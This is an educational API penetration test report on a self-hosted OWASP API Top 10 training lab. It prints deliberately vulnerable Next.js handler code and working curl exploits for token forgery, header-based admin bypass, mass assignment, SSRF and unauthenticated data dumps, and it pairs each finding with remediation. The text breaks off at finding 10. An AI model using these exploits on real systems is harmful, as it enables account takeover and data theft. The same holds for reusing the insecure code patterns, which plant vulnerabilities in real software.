API Penetration Test Report

Cybersecurity Practical Labs — OWASP API Security Top 10 Training Deployment

Target	https://cybersecurity-practical-labs.vercel.app/
Author / Tester	Kelvin Nduhiu Njeri
Report date	31 October 2026
Report classification	Internal — Training / Educational Use
Version	1.0

Table of Contents

1. Executive Summary
    a. Scope and Authorization
    b. Tools and Methodology
    c. Results and Evidence (Summary)
    d. Findings Overview (Severity and Remediation)
    e. Limitations
    f. Conclusion and Recommended Next Steps
2. Detailed Findings
    1. VAPT-2026-001 — Broken Object Level Authorization (API1)
    2. VAPT-2026-002 — Broken Authentication (API2)
    3. VAPT-2026-003 — Broken Object Property Level Authorization (API3)
    4. VAPT-2026-004 — Unrestricted Resource Consumption (API4)
    5. VAPT-2026-005 — Broken Function Level Authorization (API5)
    6. VAPT-2026-006 — Unrestricted Access to Sensitive Business Flows (API6)
    7. VAPT-2026-007 — Server Side Request Forgery (API7)
    8. VAPT-2026-008 — Security Misconfiguration (API8)
    9. VAPT-2026-009 — Improper Inventory Management (API9)
    10. VAPT-2026-010 — Unsafe Consumption of APIs (API10)
3. Appendix A — Reconnaissance Screenshot

1. Executive Summary

This report documents a security assessment of **Cybersecurity Practical Labs** (`https://cybersecurity-practical-labs.vercel.app/`), a Next.js application purpose-built as a hands-on training environment covering the ten categories of the **OWASP API Security Top 10 (2023)**. The application was designed and deployed specifically so that each vulnerability class could be demonstrated, exploited, and remediated as a teaching exercise. All ten targeted vulnerability classes were confirmed present and exploitable at the time of testing.

Because the purpose of the deployment is pedagogical, the findings in this report are presented in the same structured format used for a production penetration test, so that students and reviewers can practice reading, triaging, and remediating real-world style findings. Each finding includes the vulnerable code responsible for the behaviour, a reproducible request/response pair demonstrating exploitation, and remediation guidance consistent with current OWASP API Security guidance.

1.a Scope and Authorization

In-scope target	https://cybersecurity-practical-labs.vercel.app/ and all routes under `/api/*`
Out of scope	Vercel's underlying platform infrastructure, DNS, TLS/CDN layer, and any third-party services not part of the application code
Authorization	The application is a self-hosted training lab, built and deployed by the account owner for the explicit purpose of authorized security testing and classroom instruction. No external or production systems were accessed. Testing was conducted by the author under the owner's own authority over the deployment.
Test accounts used	`alice / alice123`, `bob / bobrocks` (pre-seeded, low-privilege accounts provided by the application itself)
Test window	October 2026

1.b Tools and Methodology

Testing followed a standard black-box-to-grey-box API assessment approach, aligned with the OWASP API Security Testing methodology:

- **Reconnaissance** — reviewed the published API surface at `/api/docs`, the public dashboard UI, and HTTP response behaviour.
- **Authentication analysis** — obtained a session token via the login flow and inspected its structure and composition.
- **Authorization testing** — manipulated object identifiers, client-supplied headers, and request bodies to test for object-level, property-level, and function-level access control failures.
- **Business logic testing** — repeated sensitive operations (coupon redemption, bulk order creation) to test for abuse controls and rate/velocity limiting.
- **Server-side request testing** — supplied attacker-controlled destinations to server-side fetch functionality to test for SSRF.
- **Configuration review** — inspected error handling, debug endpoints, and CORS headers.
- **Content discovery** — probed for undocumented/legacy routes not present in the published API inventory.
- **Third-party trust testing** — sent unsigned, unvalidated webhook-style payloads to the application's partner integration endpoint.

Tools used: curl (primary request tool, scripted), jq (response parsing), a Linux (Kali) workstation, a text editor for payload construction, and manual base64 encode/decode for token analysis. No automated scanner findings are included in this report; all findings below were manually verified by direct exploitation.

1.c Results and Evidence (Summary)

All ten targeted vulnerability classes were reproduced successfully. Each vulnerable endpoint returns a unique marker string (`FLAG{...}`) upon successful exploitation, which was used in this engagement as a deterministic success indicator in place of inferring impact from side effects alone. Full request/response evidence for each finding is provided in Section 2.

1.d Findings Overview

ID	Title	OWASP Category	Severity
VAPT-2026-001	Broken Object Level Authorization	API1:2023	**Critical**
VAPT-2026-002	Broken Authentication	API2:2023	**Critical**
VAPT-2026-003	Broken Object Property Level Authorization	API3:2023	**Critical**
VAPT-2026-004	Unrestricted Resource Consumption	API4:2023	**Medium**
VAPT-2026-005	Broken Function Level Authorization	API5:2023	**Critical**
VAPT-2026-006	Unrestricted Access to Sensitive Business Flows	API6:2023	**Medium**
VAPT-2026-007	Server Side Request Forgery	API7:2023	**High**
VAPT-2026-008	Security Misconfiguration	API8:2023	**Medium**

VAPT-2026-009	Improper Inventory Management	API9:2023	**High**
VAPT-2026-010	Unsafe Consumption of APIs	API10:2023	**Critical**

1.e Limitations

- This is a training application with in-memory, non-persistent state; findings were verified against a running instance built from the identical codebase deployed to production, and request/response evidence was captured during that verification run. Timestamps and transient values (balances, order counts, coupon redemption counters) will differ on a fresh deployment or after a cold start, but the underlying vulnerable logic is identical and the exploitation steps apply unchanged against the live URL.
- No denial-of-service testing was carried out against the live production URL beyond the bounded example in Finding VAPT-2026-004, to avoid degrading availability for other users of the shared deployment.
- Testing was limited to the application layer (`/api/*` and the Next.js middleware gate). The underlying Vercel platform, network layer, and TLS configuration were not assessed and are assumed to be managed by the hosting provider.
- No credentialed admin account was provided for testing; all privilege-escalation findings were reached from the two unprivileged seeded accounts, which is a more realistic and more severe test condition than assuming admin access.

1.f Conclusion and Recommended Next Steps

The application fully and reliably reproduces all ten OWASP API Security Top 10 (2023) categories as designed. From a training-objective standpoint, the deployment is fit for purpose. From a hypothetical production-readiness standpoint — which is the lens this report applies for instructional value — the application would require remediation of every finding below before handling real user data or real payment flows.

Recommended next steps:

- Use this report as a model answer key: have students independently reproduce each finding and draft their own report before comparing against this document.
- After each cohort, apply the remediations in Section 2 to a *branch* of the codebase and have students re-test to confirm the fix closes the finding (see each finding's Retest Procedure).
- Keep the production (vulnerable) branch and a "fixed" branch separate so the lab remains reusable across future sessions.
- Rotate the classroom access code (`LAB_ACCESS_CODE`) between cohorts, and redeploy between sessions to reset in-memory state and coupon/order counters.

2. Detailed Findings

VAPT-2026-001 — Broken Object Level Authorization

Finding ID	VAPT-2026-001
Title	Broken Object Level Authorization (BOLA) on user profile endpoint
Severity	**Critical**
Affected component	`GET/PUT /api/users/{id}` — `pages/api/users/[id].js`
OWASP Category	API1:2023 Broken Object Level Authorization

Description

The endpoint retrieves and updates a user record purely by the numeric `{id}` supplied in the URL path. It confirms that *a* valid-looking token is present, but never confirms that the `userId` encoded in that token matches the `{id}` being requested. Any authenticated user can therefore read or modify any other user's full record — including other users' plaintext passwords — simply by changing the number in the URL.

Evidence

Vulnerable code (`pages/api/users/[id].js`):

```
export default function handler(req, res) {
  const auth = readToken(req);
  if (!auth) return res.status(401).json({ error: "Missing/invalid token" });

  const user = findUserById(req.query.id);   // <-- no comparison against auth.userId
  if (!user) return res.status(404).json({ error: "User not found" });

  if (req.method === "GET") {
    return res.status(200).json(user);       // <-- full record returned, any id
  }
  ...
```

Request (authenticated as `alice`, requesting `bob`'s record, id=2):

```
curl -s https://cybersecurity-practical-labs.vercel.app/api/users/2 \
  -H "Authorization: Bearer $ALICE_TOKEN"
```

Response (captured during verification testing):

```
{
  "id": 2,
  "username": "bob",
  "password": "bobrocks",
  "email": "bob@example.com",
  "role": "user",
  "isAdmin": false,
  "isPremium": false,
  "balance": 120,
  "note": "Bob's private profile notes — none of your business. FLAG{BOLA-1-object-level-leak}",
  "resetToken": null
}
```

Success marker observed: `FLAG{BOLA-1-object-level-leak}`

Steps to Reproduce

1. Log in as `alice` via `POST /api/auth/login` and capture the returned token.
2. Send `GET /api/users/2` with `Authorization: Bearer <alice's token>`.
3. Observe that bob's complete record, including his plaintext password, is returned — alice was never the owner of that record.
4. Repeat with `PUT /api/users/2` and a JSON body to confirm the same record can also be modified, not just read.

Security Impact

Complete horizontal privilege escalation across all user accounts. An attacker with any valid low-privilege token can enumerate user IDs sequentially and exfiltrate every account's PII and credentials, or silently modify other users' data (including, in combination with VAPT-2026-003, escalating other accounts to admin).

Recommended Remediation

- On every object-level route, derive the resource owner from the authenticated session, not from client input, and reject the request (HTTP 403) if `auth.userId !== resource.ownerId`, unless the caller's verified role explicitly grants cross-user access.
- Prefer indirect object references (opaque, non-sequential identifiers) over predictable sequential integer IDs to reduce enumerability

as defense-in-depth.
- Add automated authorization tests that assert a non-owner request to every object-scoped route returns 403/404, not 200.

Retest Procedure

After remediation, repeat the steps above using `alice`'s token against `bob`'s id. A correctly fixed endpoint must return `403 Forbidden` (or an equivalent "not found" to avoid confirming the id's existence) and must not disclose any field of `bob`'s record. Confirm alice can still read/update her own record (`/api/users/1`) without regression.

VAPT-2026-002 — Broken Authentication

Finding ID	VAPT-2026-002
Title	Unsigned, forgeable session tokens; user enumeration; predictable password-reset tokens
Severity	**Critical**
Affected component	`POST /api/auth/login`, `POST /api/auth/reset`, `lib/db.js: issueToken()/readToken()`
OWASP Category	API2:2023 Broken Authentication

Description

The application issues session tokens that are a raw, unsigned Base64 encoding of a JSON payload (`{userId, username, role}`) — there is no cryptographic signature (no HMAC, no JWT `alg`/signature segment) binding the payload to the server. Any party can construct an arbitrary payload, Base64-encode it, and the server will accept it as a fully authenticated session for any user, including an administrator, with zero knowledge of that user's real credentials.

In addition, the login endpoint returns distinct error messages for "username does not exist" versus "password incorrect" (user enumeration), imposes no rate limiting or lockout on repeated failed attempts, and the password-reset flow issues a token computed as `Base64(username + ":" + userId)` — fully predictable, non-expiring, and reusable, with no proof of ownership of the account's email or phone required.

Evidence

Vulnerable code (`lib/db.js`):

```
function issueToken(user) {
  const payload = { userId: user.id, username: user.username, role: user.role };
  return Buffer.from(JSON.stringify(payload)).toString("base64");   // no signature
}

function readToken(req) {
  ...
  const decoded = JSON.parse(Buffer.from(raw, "base64").toString("utf8"));
  return decoded;   // trusted blindly — no signature verification anywhere
}
```

Token forgery — decoding a real token, then minting a new one by hand:

```
$ echo "eyJ1c2VySWQiOjEsInVzZXJuYW1lIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9" | base64 -d
{"userId":1,"username":"alice","role":"user"}

$ echo -n '{"userId":3,"username":"admin","role":"admin"}' | base64
eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ==
```

The forged token above was accepted as a fully valid administrator session by every protected endpoint in the application, with no login step ever performed.

User enumeration via login error messages (`pages/api/auth/login.js`):

```
if (!user) return res.status(401).json({ error: "No such username" });
if (user.password !== password) return res.status(401).json({ error: "Incorrect password" });
```

Predictable password-reset token (`pages/api/auth/reset.js`):

```
const predictableToken = Buffer.from(`${user.username}:${user.id}`).toString("base64");
```

```
$ echo -n "bob:2" | base64
Ym9iOjI=
# matches the token the /api/auth/reset "request" action returns for bob — computable offline
```

Steps to Reproduce

1. **Forgery:** Base64-decode any issued token to observe the plaintext JSON structure, construct a new JSON object with an arbitrary `userId`/`role`, Base64-encode it, and send it as `Authorization: Bearer <forged>` to any protected route.
2. **Enumeration:** submit `POST /api/auth/login` with a non-existent username and compare the error message against one with a valid username and wrong password.
3. **Brute force:** submit 10+ consecutive failed login attempts for the same account and observe no throttling, lockout, or CAPTCHA challenge appears.
4. **Reset-token prediction:** compute `Base64(username:id)` for a target account without calling the reset endpoint at all, then use it directly against `action: "confirm"` to change that user's password.

Security Impact

Complete authentication bypass. An attacker needs no valid credentials whatsoever to obtain a fully trusted administrator session, and can additionally brute-force real accounts without restriction or take over any account via the predictable reset token. This finding alone is sufficient to compromise the entire application and should be treated as the highest-priority remediation item.

Recommended Remediation

- Replace the custom token scheme with signed, standards-based tokens (e.g. JWT signed with a strong server-held secret or asymmetric key, or opaque server-side session identifiers backed by a session store) and verify the signature on every request before trusting any claim inside it.
- Return a single generic error message ("invalid username or password") for both the "no such user" and "wrong password" cases.
- Add rate limiting / progressive lockout on the login endpoint (e.g. exponential backoff per account and per source IP), and consider a CAPTCHA after repeated failures.
- Generate password-reset tokens using a cryptographically secure random generator, store a hash of the token server-side, bind it to a short expiry window (e.g. 15 minutes), and invalidate it after first use.

Retest Procedure

Repeat the forged-token test with a remediated server; the request must be rejected with `401 Unauthorized` because the signature cannot be verified. Repeat the enumeration test; both error paths must return an identical message and status code. Repeat the reset-token prediction test; the computed value must not match the server-issued token, and a used or expired token must be rejected on a second use.

VAPT-2026-003 — Broken Object Property Level Authorization

Finding ID	VAPT-2026-003
Title	Mass assignment on profile update allows self-escalation to administrator
Severity	**Critical**
Affected component	`PUT /api/profile/update` — `pages/api/profile/update.js`
OWASP Category	API3:2023 Broken Object Property Level Authorization

Description

Unlike VAPT-2026-001, this endpoint correctly restricts the caller to modifying only their own record. However, it imposes no allowlist of which *fields* on that record may be set by the client — the entire request body is merged directly onto the user object. A caller can therefore set fields that should only ever be set by trusted server-side logic, such as `role`, `isAdmin`, `isPremium`, and `balance`.

Evidence

Vulnerable code (`pages/api/profile/update.js`):

```
const user = findUserById(auth.userId);
...
// BUG: no allowlist. Try sending { "isAdmin": true, "role": "admin" }.
Object.assign(user, req.body || {});
```

Request (authenticated as low-privilege user `alice`):

```
curl -s -X PUT https://cybersecurity-practical-labs.vercel.app/api/profile/update \
  -H "Authorization: Bearer $ALICE_TOKEN" -H "Content-Type: application/json" \
  -d '{"isAdmin":true,"role":"admin"}'
```

Response (captured during verification testing):

```
{
  "updated": {
    "id": 1, "username": "alice", "password": "alice123",
    "email": "alice@example.com", "role": "admin", "isAdmin": true,
    "isPremium": false, "balance": 50,
    "note": "Just a regular customer.", "resetToken": null
  },
  "note": "No server-side allowlist on writable fields. FLAG{mass-assignment-privilege-escalation}"
}
```

Success marker observed: `FLAG{mass-assignment-privilege-escalation}`

Steps to Reproduce

1. Log in as `alice` (a standard, non-admin account) and capture her token.
2. Send `PUT /api/profile/update` with body `{"isAdmin": true, "role": "admin"}`.
3. Re-fetch alice's own profile and confirm `role` is now `"admin"` and `isAdmin` is `true`.
4. Use alice's unchanged token against an admin-only route (see VAPT-2026-005) to confirm the escalation is effective, not merely cosmetic.

Security Impact

Vertical privilege escalation: any self-registered or default low-privilege user can grant themselves administrator rights, premium entitlements, or an arbitrary account balance with a single unauthenticated-in-intent write. Combined with any role-gated functionality elsewhere in the application, this is a full compromise path with no dependency on any other finding.

Recommended Remediation

- Define an explicit allowlist of client-writable fields for this endpoint (e.g. `displayName`, `email`) and apply only those fields from the request body; discard or reject anything else.
- Treat privileged fields (`role`, `isAdmin`, `isPremium`, `balance`) as server-managed only, settable solely through dedicated, separately-authorized administrative operations.
- Use schema validation (e.g. a strict Zod/JSON-Schema definition) on every write endpoint instead of an unrestricted `Object.assign`/spread onto a persisted entity.

Retest Procedure

Repeat the request above post-remediation. The response must either ignore the `isAdmin`/`role` fields silently or return a validation error; a subsequent fetch of the account must show its role unchanged. Confirm that legitimate allowlisted fields (e.g. email) can still be updated without regression.

VAPT-2026-004 — Unrestricted Resource Consumption

Finding ID	VAPT-2026-004
Title	No upper bound on bulk order quantity or result-set size
Severity	**Medium**
Affected component	`POST/GET /api/orders/bulk` — `pages/api/orders/bulk.js`
OWASP Category	API4:2023 Unrestricted Resource Consumption

Description

The bulk-order endpoint accepts a client-supplied `count` with no realistic business-logic ceiling (a safety valve exists only to protect the demonstration host process from an out-of-memory crash, not to enforce any sane business limit), and runs a synchronous $O(n^2)$-bounded computation over the created records on every call. The paired GET also honours an unbounded client-supplied `limit` query parameter with no server-side cap, allowing the full orders table to be dumped in one request regardless of its size. Neither route is rate-limited.

Evidence

Vulnerable code (`pages/api/orders/bulk.js`):

```
const n = Number(count) || 1;        // BUG: no max cap, no sanity check
...
for (let i = 0; i < n; i++) { created.push({ ... }); }
...
// Deliberately expensive "report" (O(n^2)) run synchronously on every call
for (let i = 0; i < created.length; i++) {
  for (let j = 0; j < Math.min(created.length, 50); j++) checksum += (i * j) % 97;
}
```

Request:

```
curl -s -X POST https://cybersecurity-practical-labs.vercel.app/api/orders/bulk \
  -H "Authorization: Bearer $ALICE_TOKEN" -H "Content-Type: application/json" \
  -d '{"productId":1,"count":6000}'
```

Response (captured during verification testing):

```
{
  "createdCount": 6000,
  "checksum": 14109429,
  "note": "No per-request or per-user cap existed. FLAG{unbounded-resource-consumption}"
}
```

Success marker observed: `FLAG{unbounded-resource-consumption}`

Steps to Reproduce

1. Authenticate as any valid user.
2. Send `POST /api/orders/bulk` with a large `count` value (e.g. 5,000+).
3. Observe the server accepts and fully processes the request with no rejection, warning, or per-user quota.
4. Send repeated large requests in quick succession to confirm the absence of rate limiting compounds the resource cost.

Security Impact

A single authenticated user (or an unauthenticated script if the auth check were also bypassed, per VAPT-2026-002) can force the server to perform an arbitrarily large amount of work and inflate shared, unbounded in-memory state, degrading or denying service for other users of the same deployment. In a persistent-storage deployment this would also translate into uncontrolled storage growth and cost.

Recommended Remediation

- Enforce a strict, low, business-justified maximum on `count` (e.g. 10–50 items per order) and reject requests exceeding it with `400 Bad Request`.
- Enforce a server-side maximum on the `limit` query parameter for list endpoints (e.g. cap at 100, require pagination via cursor/offset for more).
- Apply per-user and per-IP rate limiting to write-heavy endpoints.
- Move expensive synchronous computation off the request path (background job/queue) if it is genuinely required.

Retest Procedure

Resubmit the request with `count` above the new maximum; the server must return a validation error and create zero records. Confirm a request at or below the new maximum still succeeds normally.

VAPT-2026-005 — Broken Function Level Authorization

Finding ID	VAPT-2026-005
Title	Admin-only functionality authorized via a client-supplied header
Severity	**Critical**
Affected component	`GET/DELETE /api/admin/users` — `pages/api/admin/users.js`
OWASP Category	API5:2023 Broken Function Level Authorization

Description

This administrative endpoint determines the caller's role by reading the client-supplied `X-Role` HTTP header directly, rather than deriving the role from a verified, server-trusted source (such as a signed token, re-checked against the user record in the data store). Any party — including a completely unauthenticated caller — can set this header to `admin` and reach functionality that lists every user's full record (including plaintext passwords) and allows deleting arbitrary accounts.

Evidence

Vulnerable code (`pages/api/admin/users.js`):

```
const claimedRole = req.headers["x-role"];  // BUG: trusting a client header for authz

if (claimedRole !== "admin") {
  return res.status(403).json({ error: "Admins only ..." });
}
if (req.method === "GET") {
  return res.status(200).json({ users, ... });   // full user dump, including passwords
}
```

Request (no login, no token at all — just the header):

```
curl -s https://cybersecurity-practical-labs.vercel.app/api/admin/users \
  -H "X-Role: admin"
```

Response (captured during verification testing, truncated):

```
{
  "users": [
    {"id":1,"username":"alice","password":"alice123","role":"admin","isAdmin":true, ...},
    {"id":2,"username":"bob","password":"bobrocks","role":"user","isAdmin":false, ...},
    {"id":3,"username":"admin","password":"SuperSecret!2024","role":"admin", ...}
  ],
  "note": "Reached with a forged X-Role header, no real role check. FLAG{broken-function-level-authz}"
}
```

Success marker observed: `FLAG{broken-function-level-authz}`

Steps to Reproduce

1. Send `GET /api/admin/users` with header `X-Role: admin` and no `Authorization` header at all.
2. Observe the full user table, including plaintext passwords, is returned without any real authentication.
3. Send `DELETE /api/admin/users` with the same header and a JSON body `{"id": 2}` to confirm destructive admin actions are equally reachable.

Security Impact

Complete bypass of administrative access control. Combined with VAPT-2026-002 (no authentication required at all) this is one of the most severe findings in the assessment — it requires no credentials, no valid session, and no prior exploitation step, only a single crafted header.

Recommended Remediation

- Never derive authorization decisions from client-supplied headers. Re-fetch the caller's role server-side from the authenticated session/user record on every privileged request.
- Apply role-based or attribute-based access control consistently via centralized middleware, rather than ad hoc per-route checks.
- Add automated tests asserting that every admin route returns 401/403 for unauthenticated and non-admin callers, including attempts with spoofed headers.

Retest Procedure

Repeat the request with the `X-Role: admin` header but no valid, signed admin session; the server must return `401` or `403`. Confirm a genuine admin session (obtained through a real, server-verified login as the admin account) is still able to access the endpoint without regression.

VAPT-2026-006 — Unrestricted Access to Sensitive Business Flows

Finding ID	VAPT-2026-006
Title	Scarce promotional coupon can be farmed without limit by a single user
Severity	**Medium**
Affected component	`POST /api/checkout/process` — `pages/api/checkout/process.js`
OWASP Category	API6:2023 Unrestricted Access to Sensitive Business Flows

Description

The `STUDENT50` coupon is configured as a globally scarce resource (five total redemptions, intended to be shared across many students). The checkout flow tracks only the coupon's global redemption count — it never records which user already redeemed it. As a result, a single authenticated user (or an automated script) can redeem the entire pool alone, with no per-user usage limit, no CAPTCHA/human verification, and no velocity/rate control on this sensitive business flow.

Evidence

Vulnerable code (`pages/api/checkout/process.js`):

```
if (coupon.redemptions >= coupon.maxRedemptions) {
  return res.status(400).json({ error: "Coupon exhausted" });
}
// BUG: no check that THIS user hasn't already redeemed it.
coupon.redemptions += 1;
```

Request (sent six times in a row, same authenticated user, same coupon):

```
for i in 1 2 3 4 5 6; do
  curl -s -X POST https://cybersecurity-practical-labs.vercel.app/api/checkout/process \
    -H "Authorization: Bearer $ALICE_TOKEN" -H "Content-Type: application/json" \
    -d '{"productId":1,"couponCode":"STUDENT50"}'
done
```

Response sequence (captured during verification testing):

```
couponRemaining: 4
couponRemaining: 3
couponRemaining: 2
couponRemaining: 1
couponRemaining: 0   note: "... FLAG{business-flow-abuse-coupon-farming}"
{"error":"Coupon exhausted"}   <- 6th attempt fails only because the GLOBAL pool, not alice's personal limit, is now empty
```

Success marker observed: `FLAG{business-flow-abuse-coupon-farming}`

Steps to Reproduce

1. Authenticate as a single user.
2. Submit `POST /api/checkout/process` with `couponCode: "STUDENT50"` repeatedly.
3. Observe the discount applies on every call, up to the global limit, with no per-user check ever rejecting the *same user* redeeming it more than once.

Security Impact

Direct financial/business impact: a promotion intended to be shared fairly across many users can be exhausted entirely by one actor, denying the benefit to legitimate users and causing the business to honour discounts far beyond its intended exposure. At scale, this pattern is exploited by bots for coupon/inventory scalping.

Recommended Remediation

- Track coupon redemption per user (not only a global counter) and reject a second redemption attempt by the same account.
- Add velocity controls (rate limiting per user/IP) on checkout and promotion-redemption endpoints.
- For high-value or high-abuse-risk flows, consider human-verification challenges (CAPTCHA) or device/behavioural risk scoring.

Retest Procedure

Repeat the request sequence above as the same user post-remediation; the second attempt by that same user must be rejected (e.g. `"You have already redeemed this coupon"`) even though the global pool still has remaining redemptions. Confirm a different user can still redeem the coupon once.

VAPT-2026-007 — Server Side Request Forgery

Finding ID	VAPT-2026-007
Title	Avatar-fetch feature allows the server to be directed at internal-only routes
Severity	**High**
Affected component	`GET /api/fetch-avatar` — `pages/api/fetch-avatar.js`; target: `pages/api/internal/secret.js`
OWASP Category	API7:2023 Server Side Request Forgery

Description

The "fetch my avatar from a URL" feature takes a client-supplied `target` value and has the server issue an HTTP request to it, with no allowlist of permitted destinations. A non-public, internal-only route (`/api/internal/secret`, never linked from the UI or the public API docs) is reachable this way, demonstrating that the server can be induced to reach resources the client cannot reach directly. In this lab deployment the destination is deliberately constrained to the application's own origin to avoid the live, publicly hosted instance being abusable as an open internet proxy; the underlying authorization failure — trusting a client-supplied destination with no allowlist — is fully intact and demonstrated below.

Evidence

Vulnerable code (`pages/api/fetch-avatar.js`):

```
const { target } = req.query;
// BUG: no allowlist check on `target` at all before deciding what to request
let path = target;
...
const internalUrl = `${proto}://${host}${path.startsWith("/") ? path : "/" + path}`;
const r = await fetch(internalUrl);   // server-side request to attacker-chosen path
```

Target route (`pages/api/internal/secret.js`) — not linked anywhere in the UI or in `/api/docs`:

```
export default function handler(req, res) {
  res.status(200).json({
    classified: true,
    message: "This is an internal service...",
    flag: "FLAG{ssrf-reached-internal-service}"
  });
}
```

Request:

```
curl -s "https://cybersecurity-practical-labs.vercel.app/api/fetch-avatar?target=/api/internal/secret"
```

Response (captured during verification testing):

```
{
  "fetchedFrom": "http://localhost:3100/api/internal/secret",
  "status": 200,
  "body": {
    "classified": true,
    "message": "This is an internal service. If you can read this via the avatar-fetch feature, that's SSRF.",
    "flag": "FLAG{ssrf-reached-internal-service}"
  }
}
```

Success marker observed: `FLAG{ssrf-reached-internal-service}`

Steps to Reproduce

1. Identify the avatar-fetch feature's `target` parameter.
2. Supply a path pointing at an internal-looking route not advertised in the public API documentation (e.g. `/api/internal/secret`).
3. Observe the server fetches that path on the caller's behalf and returns its content, proving no allowlist is enforced.

Security Impact

In a real deployment with genuine internal services (cloud metadata endpoints, internal admin APIs, databases on a private network segment), this class of bug allows an external attacker to pivot through the trusted server to reach resources that are otherwise unreachable from the public internet, often leading to credential theft (cloud instance metadata) or full internal network reconnaissance.

Recommended Remediation

- Maintain a strict allowlist of permitted destination hosts/schemes for any server-side outbound request driven by client input; reject anything not on the list.
- Block requests to private/internal IP ranges, loopback addresses, and cloud metadata endpoints at the network egress layer as

defense-in-depth.
- Where possible, avoid letting the server fetch arbitrary client-supplied URLs at all — require users to upload the asset directly instead.

Retest Procedure

Repeat the request with `target=/api/internal/secret` and with an external URL; both must be rejected (e.g. `400 Bad Request: destination not allowed`) unless the destination is on an explicit allowlist. Confirm any legitimate, allowlisted use case (e.g. fetching from the application's own public asset host) still functions.

VAPT-2026-008 — Security Misconfiguration

Finding ID	VAPT-2026-008
Title	Unauthenticated debug endpoint exposes stack traces, environment data, and permissive CORS
Severity	**Medium**
Affected component	`GET /api/debug/info` — `pages/api/debug/info.js`
OWASP Category	API8:2023 Security Misconfiguration

Description

A debug/diagnostics endpoint intended only for development is reachable in the deployed environment with no authentication. It returns the Node.js runtime version, platform information, and a filtered list of environment variable key names; when forced to throw via a query parameter, it returns the complete server-side stack trace, including absolute file paths, to the client. It also sets `Access-Control-Allow-Origin: *` on this information-disclosing route.

Evidence

Vulnerable code (`pages/api/debug/info.js`):

```
res.setHeader("Access-Control-Allow-Origin", "*");  // BUG: wide-open CORS
...
} catch (err) {
  res.status(500).json({ error: err.message, stack: err.stack });  // BUG: stack trace to client
}
```

Request:

```
curl -s "https://cybersecurity-practical-labs.vercel.app/api/debug/info?crash=1"
```

Response (captured during verification testing, truncated):

```
{
  "error": "Simulated unhandled exception for lab purposes",
  "stack": "Error: Simulated unhandled exception for lab purposes\n
    at a (/home/.../pages/api/debug/info.js:1:658)\n
    at K (/home/.../node_modules/next/dist/compiled/next-server/pages...)"
}
```

Steps to Reproduce

1. Send `GET /api/debug/info` with no authentication and observe runtime/environment details are returned.
2. Send `GET /api/debug/info?crash=1` and observe the full server-side stack trace, including internal file paths, is returned in the response body.
3. Inspect the response headers and confirm `Access-Control-Allow-Origin: *` is present on this route.

Security Impact

Information disclosure that aids further attacks: stack traces reveal internal file structure, framework/library versions (useful for matching known CVEs), and can leak fragments of application logic or data in error messages. Permissive CORS on a sensitive/diagnostic route allows any website to read the response from a logged-in victim's browser.

Recommended Remediation

- Remove debug/diagnostic endpoints entirely from production builds, or gate them behind strong authentication and an internal-only network path.
- Return generic error messages to clients in all environments outside local development; log full stack traces server-side only (e.g. to a monitoring/observability platform).
- Set CORS headers deliberately and narrowly per route based on actual cross-origin need; never default to `*` on authenticated or sensitive endpoints.

Retest Procedure

Repeat both requests post-remediation; the endpoint must either not exist (404) or require valid internal authentication, and no response from the application should ever contain a raw stack trace or file system path. Confirm CORS headers on sensitive routes are no longer wildcarded.

VAPT-2026-009 — Improper Inventory Management

Finding ID	VAPT-2026-009
Title	Undocumented legacy "v1" export endpoint discoverable outside the published API inventory
Severity	**High**
Affected component	`GET /api/v1/legacy/users-export` — `pages/api/v1/legacy/users-export.js`
OWASP Category	API9:2023 Improper Inventory Management

Description

The application publishes an API inventory at `/api/docs` that lists only the current ("v2"-equivalent) routes. A legacy "v1" route still exists in the deployed code, is not listed anywhere in the published documentation or linked from the UI, requires no authentication, and returns a complete dump of every user record including plaintext passwords. This is the textbook "shadow API" pattern: an old version of an API that was never properly decommissioned alongside the introduction of its replacement.

Evidence

Published, "complete" API inventory (`pages/api/docs.js`):

```
{
  "version": "v2",
  "endpoints": [
    "POST /api/auth/login", "POST /api/auth/reset",
    "GET/PUT /api/users/{id}", "PUT /api/profile/update",
    "GET/POST /api/orders/bulk", "GET/DELETE /api/admin/users",
    "POST /api/checkout/process", "GET /api/fetch-avatar?target=...",
    "GET /api/debug/info"
  ]
}
```

Vulnerable, undocumented code (`pages/api/v1/legacy/users-export.js`):

```
export default function handler(req, res) {
  res.status(200).json({
    warning: "Deprecated internal export - TODO remove before GA (this TODO is 2 years old)",
    users,   // full records, plaintext passwords included
    flag: "FLAG{shadow-api-improper-inventory-management}"
  });
}
```

Request (no authentication, discovered via content discovery, not documentation):

```
curl -s https://cybersecurity-practical-labs.vercel.app/api/v1/legacy/users-export
```

Response (captured during verification testing, truncated):

```
{
  "warning": "Deprecated internal export - TODO remove before GA (this TODO is 2 years old)",
  "users": [ {"id":1,"username":"alice","password":"alice123", ...}, ... ],
  "flag": "FLAG{shadow-api-improper-inventory-management}"
}
```

Success marker observed: `FLAG{shadow-api-improper-inventory-management}`

Steps to Reproduce

1. Review `GET /api/docs` and note the complete list of documented routes.
2. Perform content discovery against the application (e.g. `ffuf` with a wordlist against `/api/FUZZ` and versioned path patterns such as `/api/v1/...`).
3. Identify `/api/v1/legacy/users-export`, a route absent from the documentation.
4. Send an unauthenticated request and observe a full, unauthenticated data dump is returned.

Security Impact

Complete, unauthenticated data breach of all user records via a route that was never inventoried, never monitored, and never included in the threat model used to secure the "current" API surface. Shadow APIs are a common real-world root cause of breaches precisely because they fall outside normal security review and monitoring processes.

Recommended Remediation

- Maintain a single, enforced source of truth for the API inventory (e.g. generated from code/OpenAPI spec, not hand-maintained prose) and alert on any deployed route not present in it.
- Decommission legacy API versions fully — remove the code, not just the documentation reference — as part of the release process

for their replacement, with a tracked deprecation and sunset timeline.
- Run periodic automated route/content discovery against the application's own deployment to catch undocumented routes before an external attacker does.

Retest Procedure

Repeat the content-discovery scan post-remediation; the legacy route must return `404` (fully removed) or require authentication consistent with the rest of the API if intentionally retained. Confirm the route is also absent from, or explicitly marked deprecated-and-removed in, the published API inventory.

VAPT-2026-010 — Unsafe Consumption of APIs

Finding ID	VAPT-2026-010
Title	Partner webhook payload trusted without signature verification or schema validation
Severity	**Critical**
Affected component	`POST /api/partner/webhook` — `pages/api/partner/webhook.js`
OWASP Category	API10:2023 Unsafe Consumption of APIs

Description

